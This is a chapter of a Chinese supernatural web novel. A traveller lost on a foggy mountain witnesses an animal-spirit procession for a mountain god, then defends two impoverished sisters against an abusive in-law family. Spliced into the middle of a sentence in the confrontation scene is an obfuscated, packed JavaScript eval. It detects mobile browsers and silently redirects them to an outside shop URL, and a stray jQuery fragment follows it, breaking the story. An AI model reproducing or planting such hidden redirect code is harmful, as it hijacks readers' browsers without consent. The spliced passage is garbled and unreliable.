阳城市郓舟县叩福村,寿山。
不知从什么时候开始,山里起了雾。
等明戚鹤反应过来的时候已经晚了,一重重白雾像自天而降的帷幔,将这整片寿山笼罩在潮湿的水汽中。
四周变得晦暗不明,一时间万籁俱静,连风的声音都变得遥远起来。
明戚鹤拿出手机也只看到了空荡荡的信号格,他有些烦躁的合上手机,后悔和无力感拉扯最后仅剩的那一点点冷静。
他本想原路返回的,但是早已找不到来时路,当他第四次看到做记号的白桦树时,难免有些难绷的懊恼。
…遭了…一直在这附近打转…
周围是愈加浓郁的白雾,一点点蚕食他走过的痕迹,鬼魅般逐渐向他迫近。
正当明戚鹤一筹莫展的时候,不远处传来了一声声清脆的摇铃声。
…有人?
明戚鹤心下放松不少,他一边拨开低矮的灌木,一边慢慢顺着声音向前摸索。
没走多久,他便在雾色中隐约看到一点橘色灯火,那火光仿佛正在呼吸一般微微晃动,在大雾中忽明忽暗。
明戚鹤有些心急了,在荒无人烟的寿山里兜兜转转了太久,他早已经陷入了不安中,脚下不由得加快了动作,一个没留神,交错的藤蔓将他绊了个踉跄,手在慌乱中也被树枝划了道口子,“嘶……”掌心带着尖锐的刺痛,不到片刻便鲜血淋漓。
他来不及处理,只能从兜里掏出手帕简单包扎了一下。
他捂着伤口,忍着掌心的疼痛,刚想高声呼救,喉咙突然却被死死扼住,不敢发出一丝声响。
目光触及眼前一幕,让他本能的蹲下身子,依靠周围的树木来隐藏自己,他紧紧捂住嘴巴,努力让自己不要发出任何声音。
明戚鹤所看到的,是一支正在山间缓慢移动的队伍。整个队伍蜿蜒整齐,宛如游走在山间的巨蟒。
明戚鹤忍不住偷偷抬头去看。
这个队伍从头到尾不见一个人形,而是由一群直立行走的动物组成。
动物?不对,那也许应该叫妖怪。
为首的是一只黄鼬,它眼神微眯,一副仙人做派,身上穿着滑稽的长袍,一手托着一个香炉,袅袅青烟正从中缓缓升起;另一手则摇着一柄叮当作响的三清铃。
其次,是左右两对野兔和两对山猫。
野兔们通体灰白,它们捧着一对造型典雅的烛台,明戚鹤看到的火光,正是这烛台上燃着的火焰。山猫们皮毛黝黑,手上捧着一对精致的花觚,里面插着几支新鲜的百合花。
再往后,是由四只山魈抬着的木轿子。
轿子的木料他看不真切,但是隔着距离能闻到浓郁的香气,隐约看到这轿子,从上到下都雕满了盛开的花,花苞饱满含蓄,明戚鹤眯起眼睛去仔细看,瞧模样好像是海棠。
轿帘则是由层层晶莹剔透的珠帘做成,随着轻微晃动而熠熠生辉,错落间隐约可见内中有一人形端坐的姿势。
山魈们步伐缓慢沉稳,它们身上的皮毛在光影中呈现出深浅不一的灰褐色,每一步落下都伴随着轻微的笃笃声,与轿子边缘悬挂的铜铃声,交织在一起。
在轿子的后面则跟着一众神色肃穆的精怪,它们姿态各异,有的捧着瓷瓶,有的奉着玉圭,甚至有的捧着一尊小小的青铜鼎。
明戚鹤回想起上山前村民的话。
“……快到祭祀了,还是少往山里跑吧,现在山里多雾,怕是山神大人在巡山嘞…”
他一笑而过,只当做是村民愚昧的认知,没成想竟然是真的?
原来,这座山里真的存在山神。
明戚鹤心下叫苦不迭,他慢慢蜷缩自己的身体,以此来降低存在感,祈祷自己没有被发现。
不知道过去了多久,铃声渐渐变得遥远,四周重新回归无垠的安静。
他不敢轻易起身,仍旧维持着蹲伏的姿势不敢动弹,直到山风卷着林间的湿气吹过,将他汗津津的后背凉了一个激灵,明戚鹤这才敢慢慢抬起头,感受呼吸带着凉意钻进肺腑。
他往后一仰,重重跌坐在地上,长时间肌肉紧绷让他浑身酸疼,一时半刻竟然没有力气重新站起来,他索性坐在地上,平复自己紊乱的气息。
“……吓死了。”他看着发抖的掌心,长舒一口气。
可是,他却没顾不得缓解,连忙从包里拿出纸和笔,指尖还在微微发颤,借着微弱的光亮,飞快记下刚才所看到的异象。
寿山神异的见闻,是他跋涉山野一直追寻的记录,哪怕惊魂未定,本能却驱使着他留住转瞬即逝的细节。
正当明戚鹤奋笔疾书时,耳边突然响起了一声清脆突兀的铃铛响。
那声音带着奇异的穿透力,瞬间将他的大脑震得一片空白。
他来不及反应,一双骨毫无温度的手从他面前凭空出现,那双手指节泛着惨白的青色,毫不犹豫的紧紧箍住明戚鹤的脖子,力道大得几乎要捏碎他的骨骼。
明戚鹤开始本能的剧烈挣扎,他试图掰开脖颈上铁钳般的手,却发现自己的力量在对方面前显得微不足道。
他尝试呼救,但是喉咙被扼住,完全发不出声音。
他感觉肺部被狠狠挤压,视野开始模糊,缺氧带来的眩晕感越来越强,就在他意识即将陷入黑暗时,怪物的动作似乎迟疑了那么一瞬,手上的力气也微微松了些。
在他晕厥的前一秒,明戚鹤听到一个空洞的声音,在他耳畔嗡嗡作响。
那声音沉沉闷闷,像是从胸腔里发出的闷声,又像是太久没有开口说话而有些锈钝,金属摩擦般折磨着明戚鹤的感官。
“……不要留在这里。”
“…祂看到你了…”
昏迷的明戚鹤被拖到了山神轿面前。
众精怪默契的保持沉默,垂首等待命令。
“……送下山去吧,”轿子里传来一道声音:“传令山里的小妖们,不许伤这人性命。”
“……大人,就这么放过这个人吗?”队伍里一只小妖有些不理解,它急哄哄的开口:“……不如按以往的规矩……”
“……”轿子里的人沉默了一下,这方还没说话,便听到抬轿的其中一只山魈怒斥。
“……大人做事,什么时候轮到你指手画脚了?”山魈面目狰狞,嗔目而视,喉咙里发出低哑的嘶吼声:“…还不快把尾巴夹紧,滚回队伍里。”
那小妖被吓的不敢再吱声,它缩了缩脖子,灰溜溜的回到了自己的位置上。
“急什么,我又不会跟一只小妖计较。”轿子里的人笑了一声,似乎没有计较这场小小的变故:“……罢了,走吧。”
“…是。”
当明戚鹤醒来的时候,首先看到的是木制的房梁,他反应了一下,才发现自己已经回到了借宿的云香家里。
“你醒啦?”
守在旁边的云香听到动静,连忙凑上前询问:“你可真能睡,睡了好久呢。”
“我是怎么回来的……?”明戚鹤哑着嗓子问。
“小卫哥送你回来的。”云香瞧他这个模样,赶忙扶他坐起来,折身给他端了杯水,“他进山采山货嘞,就看到你晕在那里,就赶紧把你背下来了。”
“谢谢啊……”明戚鹤有些不好意思的接过杯子,小心的抿了口水。他的余光瞥到左手掌心,那里原本应该有道划伤的地方,现在却是干干净净。
他真的受伤了吗?明戚鹤有些存疑。
“你这样还能不能参加祭祀仪式呀。”云香托着下巴问。
“没什么事,”明戚鹤笑了笑,顺手放下水杯,“…我就是在山里待太久了,有点失温而已,休息一下就没事了。”
“你这时候进山做什么呀?”云香疑惑,“…祭祀前我们村都不让进山了,现在山里容易起雾,听说还有老虎呢,很危险的。“
“…我来之前查了资料,记载说寿山里有个百年神龛,”明戚鹤不好意思的解释:“我想上去采风看看,以为很快就能回来,结果迷路了。”
“那你找到了吗?”
明戚鹤沮丧的摇了摇头。
不仅没找到,还差点把命搭进去。
“你可别乱跑了,这个时候的山里,会有妖怪,”云香凑近明戚鹤,神神秘秘的说:“…哪怕是小卫哥,这个时候也只敢在周边采采山货,你还敢进深山,胆子可真大。”
“……下次不敢了。”明戚鹤连忙摆手,他垂下眼帘,手不由自主的交叠在一起,有些局促的赔笑:“……年纪大了,也经不起在山里面来回转了。”
他的四肢到现在还在酸疼。
“行吧,那你再睡会儿哦,我姐说今天包饺子吃,你一会儿记得出来吃饭!”云香瞧他还是一脸疲惫,心知他还没有休息过来,识趣的要出去给姐姐打下手。
明戚鹤抿了口水,目光落向空荡荡的偏屋。
“你姐姐?”他轻声问。
云香垂了垂眼,指尖捻着衣角,语气闷闷的:“诶,我姐叫云栀,刚从婆家回来,我爹这不是身子骨不好,她就偶尔回来照顾一下…”
她顿了顿,补充道:“咱们这村子规矩老,年年要办山神祭祀,偶尔会有外人来玩,多自己很多人都把家里空余的屋子收拾出来当民宿。”
“这样啊…”明戚鹤笑笑:“…那你们吃饭,还得给我双筷子,太麻烦你们了。”
“哎呀,不麻烦不麻烦,你快休息吧,到时候我再来喊你。”云香咻的一下起身,风风火火的出了房间,临走前还不忘贴心的把门带上。
“这丫头…”明戚鹤无奈的笑笑,只好重新躺在床上。
他侧着身躺着,目光恰好落在了窗户上。那扇老旧的木窗棂上爬满了深绿色的藤蔓,蔓延的绿叶还沾着露水,肆意张扬的炫耀那蓬勃的生机,他瞧着那抹绿色,思绪却飘到昏迷前看到的那副场景。
太真实了。
不管是那片不透光亮的浓雾,还是沉寂到没有声音回响的山林,又或是那支如梦似幻的诡异队伍,都是让他有种不真切的剥离感。
只可惜现在已经是二十世纪了,除了叩福村这种偏远山区的小村落,早就没什么人信牛鬼蛇神了。
不过是个离奇的梦而已。
明戚鹤拿出手机,熟练的按出那个电话号码,却又停留在拨通键迟迟无法按下去。
他突然有些踌躇,有些害怕听到对面的声音,不管是关切还是指责,他都不敢去回应。明戚鹤的指腹摩擦手机键,最终还是选择了发送短信。
“我很好,勿念。”
关上手机,明戚鹤晃了晃脑袋,重新阖上双眼。
等祭祀结束了,就回趟家吧。
他昏昏沉沉的想。
有点想家里了。
云栀比起云香安静了不少,一天也说不了几句话,只是安安静静的做着手上的活计,笑起来带着一些腼腆。
姊妹俩的母亲去的早,云叔又得了病,需要长期服药,身体孱弱不适合再从事力气活,一家人只能靠补贴和糊纸盒度日。
后来信息开通,科技发展,因为他们叩福村保留古老祭祀,多少有了一点点旅游价值,她们家索性就将还剩的一间空房间当做民宿赚点钱。
可惜房子太过狭小和简陋,不少人嫌弃这家破败,截至目前,也只有明戚鹤一个人住过。
倒不是明戚鹤住不起好一些的地方,是当时刚到村子还没找落脚点,便看到云叔领着云香,怯生生的问每一个路过的游客要不要住自己家。
父女俩穿的都有些窘迫,不少地方都是各种布料拼凑,但是衣服整体却是干净的,可见这家人虽然贫苦却不是个邋遢的。
云叔就这样始终牵着云香,本就佝偻的背偶尔因为咳嗽而愈发垂下。云香看了看自己的父亲,眼底满满的心疼,她主动搀扶父亲,开始询问别人要不要住宿。
最终,她们来到了明戚鹤面前。
“叔叔,请问你要住宿吗?要不要住我家?”云香扬起小脸,似乎怕明戚鹤拒绝,连忙说:“我家很干净的,我和爹爹都收拾好了!”
她的眼睛像一汪清泉般纯净,让明戚鹤心底泛起恻隐之心。
“…好,那就去你家吧。”
明戚鹤看着欢呼雀跃的云香和感激的云叔,脸上也不由得露出了笑容。
挺好的,在最后为自己选一段轻松的旅途吧。
一阵喧闹声猛地划破院内安静。
“咚——!”
外面传来一声闷响后,是云香尖锐的叫声:“姐!”
明戚鹤被惊醒,顾不得什么睡觉,连忙披了件衣服出去查看。
只见门口乌乌泱泱挤满了人,云香的姐姐云栀捂着头跌坐在地上,指缝还渗着红色,云香正张牙舞爪的挡在前面:“你们凭什么打人!”
“小贱蹄子给我滚开!”为首的中年女人也不客气,拽起云香的头发将她狠狠地甩向一边,随意指了指云栀,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874994|212365||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
示意身后跟来的几个伙计:“把她给我绑回去!”
“谁都不许动我姐!”云香连忙爬起来,扑上去又咬又踹。
门口蹲着几个村里的孩子,好奇地看着她们被打,像是在看一场与自己无关的把戏。
大人没有喝止,只是冷眼旁观,仿佛她本就该承受这些。
整个村子都静得反常。
无形的恶意像一张网,将整个村子笼罩。
云香一看没人帮忙,更是炸了毛,指着来人的鼻子,扯着嗓子喊:“我姐身上青一块紫一块!分明就是你们打的她!你们家丁家就是个滚蛋!”
她一个小姑娘怎么靠得住强壮的伙计?几下便被按在了地上。
原本默不作声的云栀看到这一幕,浑身一激灵,突然尖叫一声,也顾不得自己头上的伤,使出浑身力气推搡眼前的人,她双眼通红的嘶吼:“…放开我妹妹!我不会放过你们的!我绝对不会放过丁鑫那个畜生!”
正在周围人发出唏嘘的时候,云叔颤颤巍巍走出来,嘴里喊着:“…别…别欺负我女儿!……”
争执间,原本身体就不好的云叔便重重摔在地上。
“爹!…”
“爹!!”
姐妹俩连忙去扶云叔,却没想到倒地的云叔开始剧烈咳嗽,甚至嘴角溢出了些许血沫。
“老不死的你装什么装!”丁鑫娘吊眉一扬,啐了一口,叉起腰开始骂:“我们家丁鑫心善,嫁妆也没要就娶了你这个病痨鬼的女儿,结果呢?结婚三四年一个蛋都没下!真当老娘好欺负啊!?”
云栀气的浑身发抖,声音里带着嘶吼喊道:“……我怀了!都是你儿子打的!是你儿子打我才没的!”
云叔用尽气力抓着大女儿的手不肯放人。
这几年,云栀身上的淤青一次比一次多,人也肉眼可见的憔悴,像一朵逐渐衰败的花,枯萎在丁家。
“爹,爹…”云栀见不得父亲和妹妹被人打骂,红着眼睛乞求父亲松手。
……
丁鑫娘更是怨毒的扫过众人,刻薄的说:“我看今天谁拦着,明天我就到谁家去闹!”
丁家前几年在南方跑生意赚的盆满钵满,不仅是村子里数一数二的富户,而且在山外也有不少关系。
多少村民想把山货卖个好价钱,还得仰仗丁家牵线搭桥。
本就冷漠的村民现在更不做声了,谁也不想为了别人砸了自己家的碗,得罪了丁家,只怕自己的日子更是难上加难。
眼瞧着村民一个个不再出头,丁鑫娘更是得意了几分。
“够了!”一阵威严的怒斥声响起,只见人群中走出一个穿着大褂的白胡子老头,他拄着拐杖步履蹒跚的走上前,“……马上就山神祭祀了,你要想惹麻烦就滚出村子,你好日子过够了是吧!”
村长眼皮微垂,不动声色递出一记眼色,村子里这几天来了不少看祭祀的外乡人,现在听到声响陆陆续续围了上来,他赶紧示意丁鑫娘留意人四周。
周遭已经攒了不少看热闹的村民,一张张脸隐在昏沉沉的天光里,默不作声地望着场中,没有半点声响。
他压着嗓子,声音又冷又涩,像泥土里浸久的腐木:“……真惹恼了山神,你丁家上下,谁都别想好过。”
“可是村长……”丁鑫娘还想争辩两句。
“闭嘴!”
村长眼锋猛地扫过去,那目光沉得发寒,硬生生掐断她剩下的话。他凑近半步,吐出几个字句,字字裹着寒意:“你忘了先前那几个人,是怎么没的?”
这似乎是村子里的禁忌,一时间没人说的出话,只留下呜咽的风声和低沉的呼吸。围观的村民眼底都浮起一层挥之不去的惧意。
明戚鹤敏锐察觉到,这山里的山神传说,根本不是乡里闲聊的闲话,是全村人不敢触碰的红线。
村长斜眼扫过地上的云栀姐妹俩,嘴角扯出一点冷沉沉的弧度,声音像蛇嘶一般钻进耳里:“……就让她留在云家,还能跑得了?”
他顿了顿,目光沉沉落在云栀身上:“…山里那份富贵,谁舍得走?你舍得吗?她和她妹妹还指望那些东西治病呢。”
风擦过院墙,山深处似乎传来若有若无的铃响。
“她俩,谁都走不了。”
就是明白忌讳,丁鑫娘却任然气不过,扬起手想再给云栀一巴掌。
“你干什么!”明戚鹤看不下去,连忙上前晃了晃手机,义正言辞的说道:“现在是法制社会,你们还敢上门暴力打人?我已经报警了,如果闹出人命,你们这些人都等着坐牢吧!”
听到这话,丁鑫娘开始冲着明戚鹤嚷嚷:“你又是哪儿来的?关你什么事?!我们这是家事!警察也管不着!”
明戚鹤也不怯,反而上前挡在前面,“纵使婚姻关系内,你们也没权力打她!你如果不怕,我们就去医院验伤,到时候看看警察到底管不管得了!”
也许是心虚,明戚鹤的话似乎真的震慑到了她们,丁鑫娘吞了吞口水没有做声,且不说家里人在外面做生意有多少见不得人的事。
如果查出村子里别的事情,那就是她丁家的麻烦了。
她悄悄抬眼瞥了眼身侧的村长,对方垂着眼,面上看不出喜怒,可那沉沉的目光,压得她心口发紧。
她思考了片刻,赶紧拽了拽身旁的丁鑫,两人低声商量了片刻,随后心有不甘的撂下一句:“…今天就算了,别以为老娘怕了你们!这小娘皮早晚得跟我们走!”
临走前丁鑫狠狠剜了明戚鹤一眼,嘴里不断咒骂着,却老老实实的跟在他娘后面走了。
明戚鹤见他们走了,连忙让云香云栀去借车,“云叔怕是伤到里面了,赶紧送县医院!”
这时的村民仿佛活了过来,方才笼罩在众人脸上的麻木一扫而光,骤然取代了死寂。
村民们也赶紧张罗起来:“老罗!老徐!赶紧过来搭把手!……”
“诶!”两道应声立刻从人群里响起。
“哎呦,真是造孽哦……”有人唏嘘着上前,手脚麻利地准备搀扶云栀。
山风掠过院墙,远处的铃音似乎又轻轻响了。
没有人留意这异样,所有人各司其事,轻车熟路的将云叔送去医院,像一场排练了无数次的戏。
明戚鹤的大脑里突然有了一股莫名的违和。
刚刚那种死寂,或许根本不是恐惧。
是他们在等候指令。
…